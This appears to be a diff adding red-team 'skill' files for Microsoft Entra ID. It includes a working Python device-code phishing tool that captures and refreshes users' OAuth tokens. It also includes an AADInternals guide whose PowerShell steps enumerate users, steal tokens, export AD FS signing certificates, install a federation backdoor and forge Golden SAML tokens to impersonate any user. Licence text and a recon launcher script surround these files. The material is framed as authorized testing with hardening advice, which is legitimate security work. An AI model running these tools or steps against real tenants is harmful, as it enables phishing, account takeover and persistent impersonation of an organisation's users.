- Mandiant M-Trends: https://cloud.google.com/security/resources/m-trends
@@ -0,0 +1,162 @@
#!/usr/bin/env python3
"""
agent.py - OAuth 2.0 device-code phishing helper for authorized Entra ID red teaming.
Implements the real Microsoft Entra ID device authorization grant (RFC 8628):
1. POST /devicecode -> obtain user_code + device_code
2. Display the pretext text the operator delivers to the (consenting/lab) victim
3. Poll /token with grant_type=urn:ietf:params:oauth:grant-type:device_code
4. Optionally redeem the captured refresh_token against another first-party resource
AUTHORIZED USE ONLY. Run exclusively against tenants you own or have explicit
written authorization (rules of engagement) to test. Device-code phishing
manipulates real identities; unauthorized use violates the CFAA and equivalent law.
References:
- RFC 8628 https://datatracker.ietf.org/doc/html/rfc8628
- Microsoft device code https://learn.microsoft.com/entra/identity-platform/v2-oauth2-device-code
"""
import argparse
import base64
import json
import sys
import time
import urllib.parse
import urllib.request
import urllib.error
# Microsoft Office first-party client (pre-authorized for broad first-party resources)
DEFAULT_CLIENT = "d3590ed6-52b3-4102-aeff-aad2292ab01c"
AUTHORITY = "https://login.microsoftonline.com"
def _post(url: str, fields: dict) -> dict:
"""POST application/x-www-form-urlencoded and return parsed JSON (even on HTTP errors)."""
data = urllib.parse.urlencode(fields).encode()
req = urllib.request.Request(
url, data=data, headers={"Content-Type": "application/x-www-form-urlencoded"}
)
try:
with urllib.request.urlopen(req, timeout=30) as resp:
return json.loads(resp.read().decode())
except urllib.error.HTTPError as e:
body = e.read().decode(errors="replace")
try:
return json.loads(body)
except json.JSONDecodeError:
return {"error": "http_error", "error_description": f"{e.code}: {body}"}
except urllib.error.URLError as e:
return {"error": "network_error", "error_description": str(e.reason)}
def request_device_code(tenant: str, client_id: str, scope: str) -> dict:
url = f"{AUTHORITY}/{tenant}/oauth2/v2.0/devicecode"
resp = _post(url, {"client_id": client_id, "scope": scope})
if "device_code" not in resp:
print(f"[!] devicecode request failed: {resp.get('error')}: "
f"{resp.get('error_description')}", file=sys.stderr)
sys.exit(2)
return resp
def poll_for_tokens(tenant: str, client_id: str, device_code: str,
interval: int, expires_in: int) -> dict:
url = f"{AUTHORITY}/{tenant}/oauth2/v2.0/token"
fields = {
"grant_type": "urn:ietf:params:oauth:grant-type:device_code",
"client_id": client_id,
"device_code": device_code,
}
deadline = time.time() + expires_in
while time.time() < deadline:
resp = _post(url, fields)
if "access_token" in resp:
return resp
err = resp.get("error")
if err == "authorization_pending":
time.sleep(interval)
continue
if err == "slow_down":
interval += 5
time.sleep(interval)
continue
# authorization_declined, expired_token, bad_verification_code, etc.
print(f"[!] polling stopped: {err}: {resp.get('error_description')}",
file=sys.stderr)
return resp
return {"error": "timeout", "error_description": "device code window expired"}
def decode_jwt_payload(token: str) -> dict:
try:
payload = token.split(".")[1]
payload += "=" * (-len(payload) % 4)
return json.loads(base64.urlsafe_b64decode(payload))
except (IndexError, ValueError):
return {}
def refresh_to_resource(tenant: str, client_id: str, refresh_token: str,
scope: str) -> dict:
url = f"{AUTHORITY}/{tenant}/oauth2/v2.0/token"
return _post(url, {
"grant_type": "refresh_token",
"client_id": client_id,
"refresh_token": refresh_token,
"scope": scope,
})
def main() -> int:
p = argparse.ArgumentParser(description="Authorized device-code phishing helper (RFC 8628).")
p.add_argument("--tenant", default="organizations",
help="Tenant id or 'organizations'/'common' (default: organizations)")
p.add_argument("--client-id", default=DEFAULT_CLIENT,
help="First-party/registered client id")
p.add_argument("--scope", default="https://graph.microsoft.com/.default offline_access",
help="Requested scope (include offline_access for a refresh token)")
p.add_argument("--out", default="tokens.json", help="File to write captured tokens")
p.add_argument("--refresh-to", metavar="SCOPE",
help="After capture, redeem the refresh token for this scope")
args = p.parse_args()
dc = request_device_code(args.tenant, args.client_id, args.scope)
print("=" * 70)
print("[*] DELIVER THIS TO THE AUTHORIZED TEST USER (plain text, no links):")
print(f" URL : {dc.get('verification_uri')}")
print(f" CODE: {dc.get('user_code')}")
print(f" (valid for {dc.get('expires_in')}s)")
print("=" * 70)
print("[*] Polling token endpoint...")
tokens = poll_for_tokens(args.tenant, args.client_id, dc["device_code"],
int(dc.get("interval", 5)), int(dc.get("expires_in", 900)))
if "access_token" not in tokens:
return 1
with open(args.out, "w") as fh:
json.dump(tokens, fh, indent=2)
print(f"[+] Tokens captured -> {args.out}")
claims = decode_jwt_payload(tokens["access_token"])
print(f"[+] Identity : {claims.get('upn') or claims.get('unique_name') or claims.get('oid')}")
print(f"[+] Audience : {claims.get('aud')}")
print(f"[+] Scopes : {tokens.get('scope')}")
if args.refresh_to and tokens.get("refresh_token"):
print(f"[*] Redeeming refresh token for scope: {args.refresh_to}")
rt = refresh_to_resource(args.tenant, args.client_id,
tokens["refresh_token"], args.refresh_to)
if "access_token" in rt:
new_claims = decode_jwt_payload(rt["access_token"])
print(f"[+] New token audience: {new_claims.get('aud')}")
with open("tokens_refreshed.json", "w") as fh:
json.dump(rt, fh, indent=2)
print("[+] Refreshed token -> tokens_refreshed.json")
else:
print(f"[!] refresh failed: {rt.get('error')}: {rt.get('error_description')}",
file=sys.stderr)
return 0
if __name__ == "__main__":
sys.exit(main())
@@ -0,0 +1,201 @@
Apache License
Version 2.0, January 2004
http://www.apache.org/licenses/
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
1. Definitions.
"License" shall mean the terms and conditions for use, reproduction,
and distribution as defined by Sections 1 through 9 of this document.
"Licensor" shall mean the copyright owner or entity authorized by
the copyright owner that is granting the License.
"Legal Entity" shall mean the union of the acting entity and all
other entities that control, are controlled by, or are under common
control with that entity. For the purposes of this definition,
"control" means (i) the power, direct or indirect, to cause the
direction or management of such entity, whether by contract or
otherwise, or (ii) ownership of fifty percent (50%) or more of the
outstanding shares, or (iii) beneficial ownership of such entity.
"You" (or "Your") shall mean an individual or Legal Entity
exercising permissions granted by this License.
"Source" form shall mean the preferred form for making modifications,
including but not limited to software source code, documentation
source, and configuration files.
"Object" form shall mean any form resulting from mechanical
transformation or translation of a Source form, including but
not limited to compiled object code, generated documentation,
and conversions to other media types.
"Work" shall mean the work of authorship, whether in Source or
Object form, made available under the License, as indicated by a
copyright notice that is included in or attached to the work
(an example is provided in the Appendix below).
"Derivative Works" shall mean any work, whether in Source or Object
form, that is based on (or derived from) the Work and for which the
editorial revisions, annotations, elaborations, or other modifications
represent, as a whole, an original work of authorship. For the purposes
of this License, Derivative Works shall not include works that remain
separable from, or merely link (or bind by name) to the interfaces of,
the Work and Derivative Works thereof.
"Contribution" shall mean any work of authorship, including
the original version of the Work and any modifications or additions
to that Work or Derivative Works thereof, that is intentionally
submitted to the Licensor for inclusion in the Work by the copyright owner
or by an individual or Legal Entity authorized to submit on behalf of
the copyright owner. For the purposes of this definition, "submitted"
means any form of electronic, verbal, or written communication sent
to the Licensor or its representatives, including but not limited to
communication on electronic mailing lists, source code control systems,
and issue tracking systems that are managed by, or on behalf of, the
Licensor for the purpose of discussing and improving the Work, but
excluding communication that is conspicuously marked or otherwise
designated in writing by the copyright owner as "Not a Contribution."
"Contributor" shall mean Licensor and any individual or Legal Entity
on behalf of whom a Contribution has been received by the Licensor and
subsequently incorporated within the Work.
2. Grant of Copyright License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
copyright license to reproduce, prepare Derivative Works of,
publicly display, publicly perform, sublicense, and distribute the
Work and such Derivative Works in Source or Object form.
3. Grant of Patent License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
(except as stated in this section) patent license to make, have made,
use, offer to sell, sell, import, and otherwise transfer the Work,
where such license applies only to those patent claims licensable
by such Contributor that are necessarily infringed by their
Contribution(s) alone or by combination of their Contribution(s)
with the Work to which such Contribution(s) was submitted. If You
institute patent litigation against any entity (including a
cross-claim or counterclaim in a lawsuit) alleging that the Work
or a Contribution incorporated within the Work constitutes direct
or contributory patent infringement, then any patent licenses
granted to You under this License for that Work shall terminate
as of the date such litigation is filed.
4. Redistribution. You may reproduce and distribute copies of the
Work or Derivative Works thereof in any medium, with or without
modifications, and in Source or Object form, provided that You
meet the following conditions:
(a) You must give any other recipients of the Work or
Derivative Works a copy of this License; and
(b) You must cause any modified files to carry prominent notices
stating that You changed the files; and
(c) You must retain, in the Source form of any Derivative Works
that You distribute, all copyright, patent, trademark, and
attribution notices from the Source form of the Work,
excluding those notices that do not pertain to any part of
the Derivative Works; and
(d) If the Work includes a "NOTICE" text file as part of its
distribution, then any Derivative Works that You distribute must
include a readable copy of the attribution notices contained
within such NOTICE file, excluding any notices that do not
pertain to any part of the Derivative Works, in at least one
of the following places: within a NOTICE text file distributed
as part of the Derivative Works; within the Source form or
documentation, if provided along with the Derivative Works; or,
within a display generated by the Derivative Works, if and
wherever such third-party notices normally appear. The contents
of the NOTICE file are for informational purposes only and
do not modify the License. You may add Your own attribution
notices within Derivative Works that You distribute, alongside
or as an addendum to the NOTICE text from the Work, provided
that such additional attribution notices cannot be construed
as modifying the License.
You may add Your own copyright statement to Your modifications and
may provide additional or different license terms and conditions
for use, reproduction, or distribution of Your modifications, or
for any such Derivative Works as a whole, provided Your use,
reproduction, and distribution of the Work otherwise complies with
the conditions stated in this License.
5. Submission of Contributions. Unless You explicitly state otherwise,
any Contribution intentionally submitted for inclusion in the Work
by You to the Licensor shall be under the terms and conditions of
this License, without any additional terms or conditions.
Notwithstanding the above, nothing herein shall supersede or modify
the terms of any separate license agreement you may have executed
with Licensor regarding such Contributions.
6. Trademarks. This License does not grant permission to use the trade
names, trademarks, service marks, or product names of the Licensor,
except as required for reasonable and customary use in describing the
origin of the Work and reproducing the content of the NOTICE file.
7. Disclaimer of Warranty. Unless required by applicable law or
agreed to in writing, Licensor provides the Work (and each
Contributor provides its Contributions) on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
implied, including, without limitation, any warranties or conditions
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
PARTICULAR PURPOSE. You are solely responsible for determining the
appropriateness of using or redistributing the Work and assume any
risks associated with Your exercise of permissions under this License.
8. Limitation of Liability. In no event and under no legal theory,
whether in tort (including negligence), contract, or otherwise,
unless required by applicable law (such as deliberate and grossly
negligent acts) or agreed to in writing, shall any Contributor be
liable to You for damages, including any direct, indirect, special,
incidental, or consequential damages of any character arising as a
result of this License or out of the use or inability to use the
Work (including but not limited to damages for loss of goodwill,
work stoppage, computer failure or malfunction, or any and all
other commercial damages or losses), even if such Contributor
has been advised of the possibility of such damages.
9. Accepting Warranty or Additional Liability. While redistributing
the Work or Derivative Works thereof, You may choose to offer,
and charge a fee for, acceptance of support, warranty, indemnity,
or other liability obligations and/or rights consistent with this
License. However, in accepting such obligations, You may act only
on Your own behalf and on Your sole responsibility, not on behalf
of any other Contributor, and only if You agree to indemnify,
defend, and hold each Contributor harmless for any liability
incurred by, or claims asserted against, such Contributor by reason
of your accepting any such warranty or additional liability.
END OF TERMS AND CONDITIONS
APPENDIX: How to apply the Apache License to your work.
To apply the Apache License to your work, attach the following
boilerplate notice, with the fields enclosed by brackets "[]"
replaced with your own identifying information. (Don't include
the brackets!) The text should be enclosed in the appropriate
comment syntax for the file format. Please do not remove or change
the license header comment from a contributed file except when
necessary.
Copyright 2026 mukul975
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
@@ -0,0 +1,188 @@
---
name: auditing-entra-id-with-aadinternals
description: Run Microsoft Entra ID tenant reconnaissance, token acquisition and manipulation, and federation backdoor testing with the AADInternals PowerShell toolkit to validate identity-attack resilience.
domain: cybersecurity
subdomain: identity-access-management
tags:
- aadinternals
- entra-id
- azure-ad
- saml-token-forgery
- federation-backdoor
- token-manipulation
- adfs
- red-team
version: '1.0'
author: mahipal
license: Apache-2.0
nist_csf:
- ID.AM-03
mitre_attack:
- T1606.002
---
# Auditing Entra ID with AADInternals
> **Legal Notice:** This skill is for authorized security testing, red-team engagements, and educational purposes only. AADInternals can forge SAML tokens and install federation backdoors that grant persistent impersonation of any tenant user. Use only against tenants you own or have explicit written authorization (rules of engagement) to test. Unauthorized use violates the Computer Fraud and Abuse Act and equivalent laws.
## Overview
AADInternals is the most comprehensive offensive/administrative PowerShell toolkit for Microsoft Entra ID (formerly Azure AD), Azure AD Connect, and Active Directory Federation Services (AD FS), authored by Dr. Nestori Syynimaa (Gerenios / Secureworks). It exposes hundreds of cmdlets (all prefixed `AADInt`) covering unauthenticated outsider reconnaissance, access-token acquisition for every Microsoft API, directory manipulation, AD FS/PTA attacks, and the technique it is most famous for: **federation backdoors** that abuse the `Set-MsolDomainFederationSettings` / `ConvertTo-AADIntBackdoor` path so an attacker who controls a federated domain's `IssuerUri` can mint SAML tokens for arbitrary users — mapping to MITRE ATT&CK **T1606.002 (Forge Web Credentials: SAML Tokens)**, the same class of technique used in the SolarWinds (Golden SAML) intrusions.
The toolkit separates capabilities by required position. `Invoke-AADIntReconAsOutsider` and `Get-AADIntLoginInformation` require no credentials — they query public endpoints (`getuserrealm`, OpenID configuration, autodiscover) to reveal verified domains, tenant ID, federation type, brand, and whether Desktop/Seamless SSO is enabled. With a foothold, `Get-AADIntAccessTokenFor*` cmdlets acquire tokens for Azure AD Graph, Microsoft Graph, Exchange Online, SharePoint, Azure Core Management, and more, optionally caching them so subsequent cmdlets reuse them. With Global Administrator (or a synced AD Connect account), the toolkit can read directory secrets, manipulate users, and establish the federation backdoor.
This skill drives AADInternals through a defensive-validation lens: confirm what an external attacker can learn, what a low-privileged token reaches, and whether federation/AD FS configuration would allow Golden SAML — then produce evidence and hardening recommendations.
## When to Use
- During an authorized Entra ID / Microsoft 365 red-team or assumed-breach assessment
- To enumerate external attack surface (verified domains, federation type, SSO) before credential attacks
- To validate that federation and AD FS token-signing certificates are protected against Golden SAML
- To test token acquisition and replay across Microsoft first-party APIs
- When building detections (pair with the blue-team Graph-log hunting skill) and you need real AADInternals telemetry
## Prerequisites
- Written authorization covering identity-attack and federation-backdoor testing
- Windows host with PowerShell 5.1+ (or PowerShell 7 on the supported subset)
- For backdoor/federation tests: Global Administrator (or equivalent) in the target tenant, in scope per the ROE
- Install the module from the PowerShell Gallery:
```powershell
Install-Module AADInternals -Scope CurrentUser
Import-Module AADInternals
# Cross-platform AsOutsider-only reimplementation (no creds) is also available:
# https://github.com/synacktiv/AADOutsider-py
```
- Familiarity with SAML/WS-Federation, OAuth tokens, and Azure AD Connect
## Objectives
- Perform unauthenticated tenant reconnaissance and enumerate verified domains, tenant ID, and federation type
- Acquire and cache access tokens for Microsoft first-party APIs
- Enumerate users/groups/roles with an authenticated token
- Test the federation backdoor / Golden SAML path in a controlled, authorized manner
- Document exposure and deliver hardening recommendations (token-signing cert protection, federation monitoring)
## MITRE ATT&CK Mapping
| ID | Technique | Application in this skill |
|----|-----------|---------------------------|
| T1606.002 | Forge Web Credentials: SAML Tokens | `ConvertTo-AADIntBackdoor` + `New-AADIntSAMLToken` forge SAML tokens for arbitrary users via a controlled federation `IssuerUri` (Golden SAML) |
Related techniques: **T1087.004** Account Discovery: Cloud Account (recon), **T1528** Steal Application Access Token (token acquisition), **T1556.007** Modify Authentication Process: Hybrid Identity (federation/PTA backdoors).
## Workflow
### Step 1: Unauthenticated outsider reconnaissance
No credentials required. Identify verified domains, tenant ID, federation type, brand, and SSO status.
```powershell
# Full outsider recon for a domain (table output)
Invoke-AADIntReconAsOutsider -DomainName "target.com" | Format-Table
# Login/realm details: federation vs managed, AuthURL, brand
Get-AADIntLoginInformation -Domain "target.com"
# Tenant GUID
Get-AADIntTenantID -Domain "target.com"
```
### Step 2: External user enumeration (optional, noisy)
Validate whether usernames exist via the GetCredentialType / autologon endpoints.
```powershell
# Supply a list of candidate UPNs to test existence
Invoke-AADIntUserEnumerationAsOutsider -UserName "user1@target.com"
# Or pipe many:
Get-Content .\users.txt | Invoke-AADIntUserEnumerationAsOutsider
```
### Step 3: Acquire and cache access tokens
With valid credentials (or an interactive prompt), obtain tokens for the API you need. `-SaveToCache` lets later cmdlets reuse the token automatically.
```powershell
# Azure AD Graph (legacy graph.windows.net) token, cached
Get-AADIntAccessTokenForAADGraph -SaveToCache
# Microsoft Graph (graph.microsoft.com)
$mg = Get-AADIntAccessTokenForMSGraph
# Exchange Online
$exo = Get-AADIntAccessTokenForEXO
```
### Step 4: Authenticated directory enumeration
Using a cached/acquired token, read directory objects to map privilege.
```powershell
# Global tenant info (uses cached AAD Graph token)
Get-AADIntTenantDetails
# Enumerate users and look for privileged / synced accounts
Get-AADIntUsers | Select-Object UserPrincipalName, DirSyncEnabled, ImmutableId
```
### Step 5: Inspect federation / AD FS configuration
Determine whether the tenant uses federated domains and where token-signing keys live — the prerequisite for Golden SAML.
```powershell
# If you have access to the AD FS server, export the token-signing certificate
Export-AADIntADFSSigningCertificate -Path .\adfs_signing.pfx
# Read AD FS configuration / encryption keys (on the AD FS box or via DKM)
Get-AADIntADFSConfiguration -Server adfs.target.com
```
### Step 6: Federation backdoor / Golden SAML (authorized only)
Convert a domain to a backdoor by setting a known `IssuerUri`, then forge a SAML token for a target user using that domain's `ImmutableId`. **Only in a controlled tenant with explicit authorization.**
```powershell
# Requires a Global Admin token (AAD Graph) cached in Step 3
ConvertTo-AADIntBackdoor -DomainName "backdoor.target.com"
# Output includes the IssuerUri to reuse when forging tokens.
# Forge a SAML token impersonating a user (ImmutableId from Get-AADIntUsers)
$saml = New-AADIntSAMLToken -ImmutableID "UQ989+t6fEq9/0ogYtt1pA==" `
-Issuer "http://backdoor.target.com/adfs/services/trust/" -UseBuiltInCertificate
# Use the forged token to open a portal session as the impersonated user
Open-AADIntOffice365Portal -SAMLToken $saml
```
### Step 7: Document exposure and harden
Capture exactly what recon revealed, which tokens/APIs were reachable, and whether the backdoor/Golden SAML path succeeded. Recommend: protect AD FS token-signing certs (HSM, restricted DKM access), alert on new/changed federation trusts, monitor `Set-DomainAuthentication`/`Set-MsolDomainFederationSettings`, and migrate where feasible to managed (cloud) authentication.
## Tools and Resources
| Resource | Purpose | Source |
|----------|---------|--------|
| AADInternals | Entra ID / AD FS attack & admin toolkit | https://github.com/Gerenios/AADInternals |
| AADInternals docs | Cmdlet reference and technique writeups | https://aadinternals.com/aadinternals/ |
| AADOutsider-py | Cross-platform AsOutsider reimplementation | https://github.com/synacktiv/AADOutsider-py |
| Golden SAML background | Federation backdoor technique writeup | https://aadinternals.com/post/aadbackdoor/ |
| MITRE T1606.002 | Forge Web Credentials: SAML Tokens | https://attack.mitre.org/techniques/T1606/002/ |
## Cmdlet Quick Reference
| Cmdlet | Position | Purpose |
|--------|----------|---------|
| `Invoke-AADIntReconAsOutsider` | None | Verified domains, tenant ID, federation type, SSO |
| `Get-AADIntLoginInformation` | None | Realm/login details for a domain |
| `Get-AADIntTenantID` | None | Tenant GUID |
| `Invoke-AADIntUserEnumerationAsOutsider` | None | Validate user existence |
| `Get-AADIntAccessTokenForAADGraph` | Creds | Azure AD Graph token (`-SaveToCache`) |
| `Get-AADIntAccessTokenForMSGraph` | Creds | Microsoft Graph token |
| `Get-AADIntAccessTokenForEXO` | Creds | Exchange Online token |
| `Get-AADIntUsers` | Token | Enumerate directory users |
| `ConvertTo-AADIntBackdoor` | Global Admin | Convert a domain into a federation backdoor |
| `New-AADIntSAMLToken` | Backdoor | Forge a SAML token for a user (Golden SAML) |
| `Open-AADIntOffice365Portal` | SAML token | Open a portal session as the impersonated user |
## Validation Criteria
- [ ] Outsider recon completed; verified domains, tenant ID, and federation type recorded
- [ ] User enumeration tested (or documented as out of scope)
- [ ] Access token acquired and cached for at least one Microsoft API
- [ ] Authenticated directory enumeration performed (users/roles, synced accounts noted)
- [ ] Federation / AD FS configuration assessed for token-signing key exposure
- [ ] Backdoor / Golden SAML path tested in an authorized controlled tenant or documented as out of scope
- [ ] Exposure documented with concrete impact
- [ ] Hardening recommendations delivered (cert protection, federation monitoring, managed auth migration)
@@ -0,0 +1,53 @@
# AADInternals Cmdlet Reference
## Installation
```powershell
Install-Module AADInternals -Scope CurrentUser
Import-Module AADInternals
```
## Reconnaissance (no credentials)
| Cmdlet | Key parameters | Purpose |
|--------|----------------|---------|
| `Invoke-AADIntReconAsOutsider` | `-DomainName <fqdn>` | Verified domains, tenant ID, federation type, brand, Desktop SSO |
| `Get-AADIntLoginInformation` | `-Domain <fqdn>` | getuserrealm login/realm details |
| `Get-AADIntTenantID` | `-Domain <fqdn>` | Tenant GUID |
| `Invoke-AADIntUserEnumerationAsOutsider` | `-UserName <upn>` | Validate user existence |
## Token Acquisition (credentials required)
| Cmdlet | Key parameters | Purpose |
|--------|----------------|---------|
| `Get-AADIntAccessTokenForAADGraph` | `-SaveToCache`, `-Credentials`, `-KerberosTicket` | Azure AD Graph (graph.windows.net) token |
| `Get-AADIntAccessTokenForMSGraph` | `-SaveToCache` | Microsoft Graph token |
| `Get-AADIntAccessTokenForEXO` | `-SaveToCache` | Exchange Online token |
| `Get-AADIntAccessTokenForOneDrive` | `-Tenant`, `-SaveToCache` | SharePoint/OneDrive token |
| `Get-AADIntAccessTokenForAzureCoreManagement` | `-SaveToCache` | Azure Resource Manager token |
## Authenticated Enumeration
| Cmdlet | Purpose |
|--------|---------|
| `Get-AADIntTenantDetails` | Tenant configuration overview |
| `Get-AADIntUsers` | Enumerate directory users (UPN, DirSync, ImmutableId) |
| `Get-AADIntGlobalAdmins` | List Global Administrators |
| `Get-AADIntServicePrincipals` | Enumerate service principals |
## Federation / AD FS / Golden SAML
| Cmdlet | Key parameters | Purpose |
|--------|----------------|---------|
| `Export-AADIntADFSSigningCertificate` | `-Path <pfx>` | Export AD FS token-signing certificate |
| `Get-AADIntADFSConfiguration` | `-Server <fqdn>` | Read AD FS configuration |
| `ConvertTo-AADIntBackdoor` | `-DomainName <fqdn>`, `-AccessToken` | Convert a domain to a federation backdoor (sets IssuerUri) |
| `New-AADIntBackdoor` | `-DomainName`, `-Issuer` | Create a backdoor federated domain |
| `New-AADIntSAMLToken` | `-ImmutableID`, `-Issuer`, `-UseBuiltInCertificate` | Forge a SAML token for a user |
| `Open-AADIntOffice365Portal` | `-SAMLToken` | Open a portal session as the impersonated user |
## Notes
- Many enumeration cmdlets consume the AAD Graph token cached by `-SaveToCache`.
- `ConvertTo-AADIntBackdoor` requires a Global Administrator AAD Graph token.
- The cross-platform AsOutsider-only reimplementation is `synacktiv/AADOutsider-py`.
@@ -0,0 +1,23 @@
# Standards and Framework Mapping
## NIST CSF 2.0
| ID | Name | Rationale |
|----|------|-----------|
| ID.AM-03 | Organizational communication and data flows are mapped | Outsider recon and authenticated enumeration map the tenant's identity surface, federation trust flows, and which APIs/tokens reach which data. |
## MITRE ATT&CK
| ID | Name | Rationale |
|----|------|-----------|
| T1606.002 | Forge Web Credentials: SAML Tokens | Core technique: AADInternals' federation backdoor + `New-AADIntSAMLToken` forge SAML tokens (Golden SAML) for arbitrary users. |
| T1087.004 | Account Discovery: Cloud Account | Outsider/authenticated user enumeration. |
| T1528 | Steal Application Access Token | `Get-AADIntAccessTokenFor*` token acquisition and reuse. |
| T1556.007 | Modify Authentication Process: Hybrid Identity | Federation/PTA backdoor establishment. |
## Supporting References
- AADInternals documentation — https://aadinternals.com/aadinternals/
- Golden SAML / federation backdoor — https://aadinternals.com/post/aadbackdoor/
- MITRE T1606.002 — https://attack.mitre.org/techniques/T1606/002/
- NIST CSF 2.0 — https://www.nist.gov/cyberframework
@@ -0,0 +1,120 @@
#!/usr/bin/env python3
"""
agent.py - Entra ID outsider-recon helper + AADInternals (PowerShell) launcher.
Two capabilities:
1. recon : Pure-Python unauthenticated tenant reconnaissance hitting the SAME
public Microsoft endpoints AADInternals' Invoke-AADIntReconAsOutsider
uses (getuserrealm, OpenID configuration). No credentials needed.
2. run : Convenience launcher that invokes an AADInternals cmdlet through
PowerShell (pwsh/powershell) for the authenticated/backdoor cmdlets.
AUTHORIZED USE ONLY. AADInternals can forge SAML tokens and backdoor federation.
Use only against tenants you own or are explicitly authorized to assess.
References:
- AADInternals https://aadinternals.com/aadinternals/
- getuserrealm https://login.microsoftonline.com/getuserrealm.srf
"""
import argparse
import json
import shutil
import subprocess
import sys
import urllib.parse
import urllib.request
import urllib.error
UA = "Mozilla/5.0 (AADInternals-audit-helper)"
def _get_json(url: str) -> dict:
req = urllib.request.Request(url, headers={"User-Agent": UA})
try:
with urllib.request.urlopen(req, timeout=30) as r:
return json.loads(r.read().decode())
except urllib.error.HTTPError as e:
return {"_error": f"HTTP {e.code}", "_body": e.read().decode(errors="replace")[:200]}
except urllib.error.URLError as e:
return {"_error": str(e.reason)}
def get_user_realm(domain: str) -> dict:
"""Mirror AADInternals: getuserrealm.srf reveals managed vs federated + auth URL."""
user = f"nn@{domain}"
url = ("https://login.microsoftonline.com/getuserrealm.srf?login="
+ urllib.parse.quote(user) + "&xml=0")
return _get_json(url)
def get_tenant_id(domain: str) -> str:
"""OpenID configuration exposes the tenant GUID in the issuer/authorization_endpoint."""
url = f"https://login.microsoftonline.com/{domain}/.well-known/openid-configuration"
cfg = _get_json(url)
issuer = cfg.get("issuer", "")
# issuer looks like https://sts.windows.net/<tenant-guid>/
parts = [p for p in issuer.split("/") if p]
return parts[-1] if parts else ""
def recon(args) -> int:
domain = args.domain
print(f"[*] Outsider recon for: {domain}")
realm = get_user_realm(domain)
if "_error" in realm:
print(f"[!] getuserrealm failed: {realm['_error']}", file=sys.stderr)
else:
ns = realm.get("NameSpaceType", "Unknown")
print(f" NameSpaceType : {ns} ({'Federated' if ns=='Federated' else 'Managed/cloud'})")
print(f" Brand : {realm.get('FederationBrandName') or realm.get('DomainName')}")
if realm.get("AuthURL"):
print(f" Federation Auth: {realm['AuthURL']}")
if realm.get("federation_protocol"):
print(f" Fed protocol : {realm['federation_protocol']}")
tid = get_tenant_id(domain)
if tid:
print(f" Tenant ID : {tid}")
if args.json:
print(json.dumps({"realm": realm, "tenant_id": tid}, indent=2))
return 0
def run_cmdlet(args) -> int:
"""Launch an AADInternals cmdlet via PowerShell."""
shell = shutil.which("pwsh") or shutil.which("powershell")
if not shell:
print("[!] PowerShell (pwsh/powershell) not found on PATH", file=sys.stderr)
return 3
cmdlet = args.cmdlet
extra = " " + " ".join(args.args) if args.args else ""
script = f"Import-Module AADInternals; {cmdlet}{extra}"
print(f"[*] {shell} -> {script}")
try:
return subprocess.run([shell, "-NoProfile", "-Command", script],
check=False).returncode
except KeyboardInterrupt:
return 130
def main() -> int:
p = argparse.ArgumentParser(description="Entra outsider recon + AADInternals launcher.")
sub = p.add_subparsers(dest="mode", required=True)
r = sub.add_parser("recon", help="Unauthenticated outsider recon (pure Python)")
r.add_argument("domain", help="Target tenant domain, e.g. target.com")
r.add_argument("--json", action="store_true", help="Also print raw JSON")
r.set_defaults(func=recon)
c = sub.add_parser("run", help="Run an AADInternals cmdlet via PowerShell")
c.add_argument("cmdlet", help="Cmdlet name, e.g. Get-AADIntAccessTokenForMSGraph")
c.add_argument("args", nargs=argparse.REMAINDER,
help="Extra args passed verbatim (e.g. -SaveToCache)")
c.set_defaults(func=run_cmdlet)
args = p.parse_args()
print("[i] AUTHORIZED TESTING ONLY -- confirm tenant is in scope.")
return args.func(args)
if __name__ == "__main__":
sys.exit(main())
@@ -0,0 +1,201 @@
Apache License
Version 2.0, January 2004
http://www.apache.org/licenses/
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
1. Definitions.
"License" shall mean the terms and conditions for use, reproduction,
and distribution as defined by Sections 1 through 9 of this document.
"Licensor" shall mean the copyright owner or entity authorized by
the copyright owner that is granting the License.
"Legal Entity" shall mean the union of the acting entity and all
other entities that control, are controlled by, or are under common
control with that entity. For the purposes of this definition,
"control" means (i) the power, direct or indirect, to cause the
direction or management of such entity, whether by contract or
otherwise, or (ii) ownership of fifty percent (50%) or more of the
outstanding shares, or (iii) beneficial ownership of such entity.
"You" (or "Your") shall mean an individual or Legal Entity
exercising permissions granted by this License.
"Source" form shall mean the preferred form for making modifications,
including but not limited to software source code, documentation
source, and configuration files.
"Object" form shall mean any form resulting from mechanical
transformation or translation of a Source form, including but
not limited to compiled object code, generated documentation,
and conversions to other media types.
"Work" shall mean the work of authorship, whether in Source or
Object form, made available under the License, as indicated by a
copyright notice that is included in or attached to the work
(an example is provided in the Appendix below).
"Derivative Works" shall mean any work, whether in Source or Object
form, that is based on (or derived from) the Work and for which the
editorial revisions, annotations, elaborations, or other modifications
represent, as a whole, an original work of authorship. For the purposes
of this License, Derivative Works shall not include works that remain
separable from, or merely link (or bind by name) to the interfaces of,
the Work and Derivative Works thereof.
"Contribution" shall mean any work of authorship, including
the original version of the Work and any modifications or additions
to that Work or Derivative Works thereof, that is intentionally
submitted to the Licensor for inclusion in the Work by the copyright owner
or by an individual or Legal Entity authorized to submit on behalf of
the copyright owner. For the purposes of this definition, "submitted"
means any form of electronic, verbal, or written communication sent
to the Licensor or its representatives, including but not limited to
communication on electronic mailing lists, source code control systems,
and issue tracking systems that are managed by, or on behalf of, the
Licensor for the purpose of discussing and improving the Work, but
excluding communication that is conspicuously marked or otherwise
designated in writing by the copyright owner as "Not a Contribution."
"Contributor" shall mean Licensor and any individual or Legal Entity
on behalf of whom a Contribution has been received by the Licensor and
subsequently incorporated within the Work.
2. Grant of Copyright License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
